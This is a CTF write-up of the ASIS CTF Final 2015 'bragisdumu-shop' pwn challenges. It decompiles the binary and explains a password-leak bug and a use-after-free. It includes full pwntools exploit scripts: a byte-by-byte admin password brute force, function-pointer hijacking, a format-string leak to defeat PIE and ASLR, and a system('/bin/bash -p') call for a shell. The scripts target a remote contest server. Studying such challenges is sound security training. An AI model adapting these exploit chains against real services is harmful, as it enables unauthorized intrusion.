Solution of two pwn levels solved during ASIS CTF Final 2015. It seems that the final was open to everyone, but «Prizes will only be awarded to teams chosen from ASIS Qualification round.»
The same binary is used for two distinct levels : shop 1 where the goal is to log as admin, shop 2 in which you have to get a shell.
You can download the binary here : bragisdumu-shop.zip
memcmp(admin_password, password, sizeof(admin_password));
disclosure
The program allows you to log in as guest
user (password: guest
). As the goal is to log as admin
, let's see how the password validation is done.
char is_admin_1; // [sp+Bh] [bp-85h]@2 int wat; // [sp+Ch] [bp-84h]@12 size_t adminpassword_size; // [sp+10h] [bp-80h]@6 char *adminpassword; // [sp+18h] [bp-78h]@6 char username[32]; // [sp+20h] [bp-70h]@3 char password[64]; // [sp+40h] [bp-50h]@3 int is_admin_user; // [sp+80h] [bp-10h]@5 /* SNIP SNIP SNIP SNIP SNIP SNIP SNIP SNIP */ puts("The Official Bragisdumus Shop"); puts(" (guest password: guest)\n"); is_admin_1 = 0; while ( 1 ) { printf("Username: ", v3); getstr(username, 32); printf("Password: ", 32LL); getstr(password, 64); if ( !memcmp(username, "guest", 5uLL) && !memcmp(password, "guest", 5uLL) ) goto LABEL_11; v3 = "admin"; is_admin_user = memcmp(username, "admin", 5uLL); if ( is_admin_user ) { puts("Unknown username or password!"); } else { adminpassword = readfile("adminpass.txt", &adminpassword_size); v3 = adminpassword; is_admin_user = memcmp(password, adminpassword, adminpassword_size); free(adminpassword); if ( !is_admin_user ) { is_admin_1 = 1; LABEL_11: putchar(10); v3 = username; printf("Logged in as %s\n\n", username);
From this code you learn that :
guestblabla
as username or password and it worksadminpass.txt
If the username and the password are not null terminated, the return value of the admin password comparison can be printed to us when printf(“Logged in as %s\n\n”, username);
is called. Guess what … the custom function getstr
is not adding any null byte at the end of the string which was read.
Let's recap the scenario :
admin
with x
passwordis_admin_user
is updated, but you are not logged inguestAAAAAAAAAAAAAAAAAAAAAAAAAAA
with guestAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x
and get the charMy exploit is using binjitsu (amazing pwntools fork)
from pwn import * r = remote('185.106.120.220', 1337) def leak_diff(password): r.sendline('admin') r.sendline(password) r.sendline('guest' + 'A'*27) r.sendline('guest' + 'X'*59) r.sendline('8') leaked = r.recvall() return leaked password = '' for i in range(38): leaked = leak_diff(password + 'x') bytess = leaked.split('X'*59)[1].split('\n\n')[0][:4].ljust(4, '\x00') # propre diff = u32(bytess, sign='signed') password += chr((ord('x') - diff) & 0xFF) log.info(password)
[+] Opening connection to 185.106.120.220 on port 1337: Done [*] A [*] AS [*] ASI [*] ASIS [*] ASIS{ [*] ASIS{3 [*] ASIS{30 [*] ASIS{304 [*] ASIS{304b [*] ASIS{304b0 [*] ASIS{304b0f [*] ASIS{304b0f1 [*] ASIS{304b0f16 [*] ASIS{304b0f16e [*] ASIS{304b0f16eb [*] ASIS{304b0f16eb4 [*] ASIS{304b0f16eb43 [*] ASIS{304b0f16eb430 [*] ASIS{304b0f16eb4303 [*] ASIS{304b0f16eb43039 [*] ASIS{304b0f16eb430391 [*] ASIS{304b0f16eb430391c [*] ASIS{304b0f16eb430391c6 [*] ASIS{304b0f16eb430391c6c [*] ASIS{304b0f16eb430391c6c8 [*] ASIS{304b0f16eb430391c6c86 [*] ASIS{304b0f16eb430391c6c86a [*] ASIS{304b0f16eb430391c6c86ab [*] ASIS{304b0f16eb430391c6c86ab0 [*] ASIS{304b0f16eb430391c6c86ab0f [*] ASIS{304b0f16eb430391c6c86ab0f3 [*] ASIS{304b0f16eb430391c6c86ab0f32 [*] ASIS{304b0f16eb430391c6c86ab0f329 [*] ASIS{304b0f16eb430391c6c86ab0f3294 [*] ASIS{304b0f16eb430391c6c86ab0f32942 [*] ASIS{304b0f16eb430391c6c86ab0f329421 [*] ASIS{304b0f16eb430391c6c86ab0f3294211 [*] ASIS{304b0f16eb430391c6c86ab0f3294211}
ASIS{304b0f16eb430391c6c86ab0f3294211}
is the admin password and the first flag !
You are now logged as admin
. It means that you have access to two more actions of the menu.
Menu: 1) list bragisdumus 2) order a bragisdumu 3) view my order 4) add new bragisdumu (admin only) 5) remove bragisdumu (admin only) 8) logout 9) exit Choose:
Basically, the program allows you to do some actions :
Every item is stored in a structure like this :
struct item { int id; char activated; char name[100]; char most_popular; char padding[6]; double price; long long stocks; void(*display)(struct item *); };
Each structure is stored in the .data
section. When you set an order, a buffer is allocated in the heap (via malloc
), the structure is copied from .data
to the heap allocated buffer and the pointer of the allocated buffer is saved in an array representing your order bag.
When a specific item has stocks == 0
, you are able to delete the item. Let's see how this function works.
__int64 remove() { char finded; // [sp+Ah] [bp-16h]@1 bool stocks; // [sp+Bh] [bp-15h]@1 signed int i; // [sp+Ch] [bp-14h]@1 signed int j; // [sp+10h] [bp-10h]@8 int remove_item; // [sp+14h] [bp-Ch]@1 __int64 v6; // [sp+18h] [bp-8h]@1 v6 = *MK_FP(__FS__, 40LL); printf("Choose a Bragisdumu to remove: "); remove_item = get_menu(); putchar(10); finded = 0; stocks = 0; for ( i = 0; i <= 7; ++i ) { if ( bragiz[i].id == remove_item ) { finded = 1; stocks = bragiz[i].stocks == 0; if ( stocks ) bragiz[i].activated = 0; break; } } j = 0; if ( finded == 1 ) { if ( stocks == 1 ) { while ( j <= 8 ) { if ( orders[j]->id == remove_item ) free(orders[j]); ++v4; } } else { puts("You cannot remove a Bragisdumu which is on stock."); } } else { puts("Invalid Bragisdumu index!"); } return *MK_FP(__FS__, 40LL) ^ v6; }
So, if you are allowed to remove the item, the program looks for the selected item in the order list and calls free()
on the previous heap allocated buffer … But … The pointer to the freed buffer is still stored ! What happens if you try to view your order list after having deleted an ordered item ?
A great use-after-free !
The idea is now to allocate a buffer on the heap and overwrite the function pointer stored in the structure and used by the order list to display a specific item. In order to store arbitrary data to this memory location, we can use the login process. In fact, the getstr
function reads from stdin
every character given by the user and stores it on the heap.
char *__fastcall read_from_user(int *readed) { __int64 v1; // ST28_8@1 int current_size; // [sp+18h] [bp-18h]@1 int c; // [sp+1Ch] [bp-14h]@2 char *ptr; // [sp+20h] [bp-10h]@1 v1 = *MK_FP(__FS__, 40LL); current_size = 8; ptr = (char *)malloc(8uLL); for ( *readed = 0; ; ++*readed ) { c = getchar(); if ( c == -1 ) { puts("Input EOF!"); exit(0); } if ( *readed >= current_size ) { current_size *= 2; ptr = (char *)realloc(ptr, current_size); } if ( c == 10 ) break; ptr[*readed] = c; } return ptr; } __int64 __fastcall getstr(char *buffer, int inlen_max) { int cpy_size; // eax@2 int inlen; // [sp+18h] [bp-18h]@1 int v5; // [sp+1Ch] [bp-14h]@4 void *in; // [sp+20h] [bp-10h]@1 __int64 v7; // [sp+28h] [bp-8h]@1 v7 = *MK_FP(__FS__, 40LL); in = read_from_user(&inlen); if ( inlen >= inlen_max ) cpy_size = inlen_max; else cpy_size = inlen; v5 = cpy_size; memcpy(buffer, in, cpy_size); free(in); return *MK_FP(__FS__, 40LL) ^ v7; }
So we can use the login to overwrite the function pointer and control the flow of the program.
from pwn import * p = process(['gdb', './bragisdumu-shop/bragisdumu-shop']) p.sendline('r') p.sendline('admin') p.sendline('ASIS{304b0f16eb430391c6c86ab0f3294211}') p.sendline('2') p.sendline('3') p.sendline('2') p.sendline('3') p.sendline('5') p.sendline('3') p.sendline('8') struct_uaf = p32(1) # id struct_uaf += p8(1) # activated struct_uaf += "A"*100 # name struct_uaf += "P"*6 # padding struct_uaf += "X"*8 # price struct_uaf += "X"*8 # stocks struct_uaf += "BBBBBBBB" # function pointer p.sendline('guest'+"A"*10) p.sendline('guest'+"A"*(0x8b)+struct_uaf) p.sendline('3') p.sendline('2') p.sendline('8') p.interactive()
The previous code gives us a really cool program state :
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x42424242424242 ('BBBBBBB') RBX: 0x0 RCX: 0x8 RDX: 0x5555557590a0 --> 0x4141410100000001 RSI: 0x2 RDI: 0x5555557590a0 --> 0x4141410100000001 RBP: 0x7fffffffe660 --> 0x7fffffffe700 --> 0x5555555564a0 (push r15) RSP: 0x7fffffffe630 --> 0x7ffff7dd6640 --> 0xfbad2887 RIP: 0x555555555ea4 (call rax) R8 : 0x7ffff7dd6440 --> 0x7ffff7dd1980 --> 0x7ffff7b9d74e --> 0x5a5400544d470043 ('C') R9 : 0x7fffffffe601 --> 0xa ('\n') R10: 0x0 R11: 0x1999999999999999 R12: 0x555555554ea0 (xor ebp,ebp) R13: 0x7fffffffe7e0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555e96: lea rdx,[rip+0x202663] # 0x555555758500 0x555555555e9d: mov rdx,QWORD PTR [rcx+rdx*1] 0x555555555ea1: mov rdi,rdx => 0x555555555ea4: call rax 0x555555555ea6: mov rax,QWORD PTR [rbp-0x8] 0x555555555eaa: xor rax,QWORD PTR fs:0x28 0x555555555eb3: je 0x555555555eba 0x555555555eb5: call 0x555555554d80 <__stack_chk_fail@plt> Guessed arguments: arg[0]: 0x5555557590a0 --> 0x4141410100000001 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe630 --> 0x7ffff7dd6640 --> 0xfbad2887 0008| 0x7fffffffe638 ("XXXXXXXX@f\335\367\377\177") 0016| 0x7fffffffe640 --> 0x7ffff7dd6640 --> 0xfbad2887 0024| 0x7fffffffe648 --> 0x1007fffffffe700 0032| 0x7fffffffe650 --> 0x100000009 0040| 0x7fffffffe658 --> 0x7ae40186350cd700 0048| 0x7fffffffe660 --> 0x7fffffffe700 --> 0x5555555564a0 (push r15) 0056| 0x7fffffffe668 --> 0x55555555642c (jmp 0x55555555648b) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000555555555ea4 in ?? ()
Well … Now we need to bypass PIE, ASLR and NX. The PIE can be easily bypassed because a pointer to a program function is stored on the heap, so we can use the use-after-free to leak some heap data. Because we now have the base address of the program and because we can fully control the first parameter of the call rax
(see rdi
register, pointing to our heap buffer), we can call the printf
function with a specific string format (%33$p
in that case) to leak data from the stack. With this trick, you can retrieve the __libc_start_main
return address and find the libc base address !
Because the used libc is given, you just have to add the correct offset in order to jump to the system
function.
from pwn import * # context.log_level = 'debug' p = remote('185.106.120.220', 1337) p.sendline('admin') p.sendline('ASIS{304b0f16eb430391c6c86ab0f3294211}') p.sendline('2') p.sendline('3') p.sendline('2') p.sendline('3') p.sendline('5') p.sendline('3') p.sendline('8') struct_leak = p32(1) # id struct_leak += p8(1) # used struct_leak += "X"*(107+16) p.sendline('guest'+"A"*10) p.sendline('guest'+"A"*(0x8b)+struct_leak) p.sendline('3') p.sendline('') p.sendline('8') p.readuntil('XXXXXu') base_text = u64(("u" + p.readuntil(', pr')[:-4]).ljust(8, '\x00')) - 0x1275 log.info('base txt addr = 0x%x' % base_text) struct_leak = "XXXX" struct_leak += p8(1) # used struct_leak += "%33$p"+"X"*(95) struct_leak += p8(1) struct_leak += "A"*6 struct_leak += "B"*16 struct_leak += p64(base_text+0xDA0) p.sendline('guest'+"A"*100) p.sendline('guest'+"A"*(0x8b)+struct_leak) p.sendline('3') p.sendline('2') p.sendline('8') p.readuntil('? XXXX\x01') libc_start_main_240 = int(p.readuntil('X')[:-1], 16) e = ELF('libc.so.6') offset_libc_start_main = e.symbols['%%_%%libc_start_main'] offset_system = e.symbols['system'] base_libc = libc_start_main_240-240-offset_libc_start_main-5 log.info('base libc = 0x%x' % base_libc) what = ";/bin/bash -p;" struct_system = "ls " struct_system += p8(1) # used struct_system += what + "I"*(100 - len(what)) struct_system += p8(1) struct_system += "A"*6 struct_system += "B"*16 struct_system += p64(base_libc+offset_system) p.sendline('guest'+"A"*100) p.sendline('guest'+"A"*(0x8b)+struct_system) p.sendline('3') p.sendline('2') log.info("enjoy your shell.") p.interactive()